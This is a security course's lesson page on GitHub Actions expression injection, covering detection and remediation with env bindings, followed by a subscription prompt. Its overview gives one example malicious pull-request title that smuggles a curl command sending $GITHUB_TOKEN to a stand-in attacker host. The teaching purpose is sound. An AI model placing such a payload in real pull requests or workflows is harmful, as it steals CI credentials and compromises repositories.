Module lessons (1/3)
CI/CD Workflow Script Injection (${{ ... }})
Hunt dangerous GitHub Actions expression injections in run commands and move untrusted PR inputs cleanly into env bindings.
What you'll learn in this lesson
- Understand how GitHub Actions
${{ ... }}expression interpolation executes arbitrary shell commands via untrusted PR titles, branch names, and issue comments. - Detect dangerous workflow expressions with zero-false-positive regex audit rules and verify least-privilege workflow triggers (
permissions:). - Remediate CI script injection permanently using intermediate
env:bindings with double-quoted shell variables ("$VAR").
Overview
Many build pipelines break security boundaries long before production code runs. In GitHub Actions, workflow expressions inside ${{ ... }} are substituted as raw text before bash parses your run: script. If an external contributor opens a pull request titled fix"; curl https://evil.example?t=$GITHUB_TOKEN #, inlining ${{…
Study these four CI security patterns comparing raw template injection against hardened workflow automation:
Sections covered in this lesson
- 11. Expression Injection, Least Privilege & Safe
env:Binding - 22. Interactive Explorer: CI/CD Injection & Pipeline Hardener
- 33. Progressive Labs: Warm-Up → Attack → Defend → Harden
- 44. Checkpoints & Code Review
Unlock "CI/CD Workflow Script Injection (${{ ... }})" and the full Application & Web Security curriculum
Hunt dangerous GitHub Actions expression injections in run commands and move untrusted PR inputs cleanly into env bindings.
Unlock all 6 hands-on exercises in this lesson plus every advanced WebAssembly module with automated checks.
- Instant access to all advanced modules in Application & Web Security plus 17 more courses
- Hands-on browser exercises with automated test suites and solutions
- 14-day money-back guarantee processed via Paddle.com
14-day guarantee · Cancel anytimeModule 1, all 18 interactive games, and cheatsheets are always free.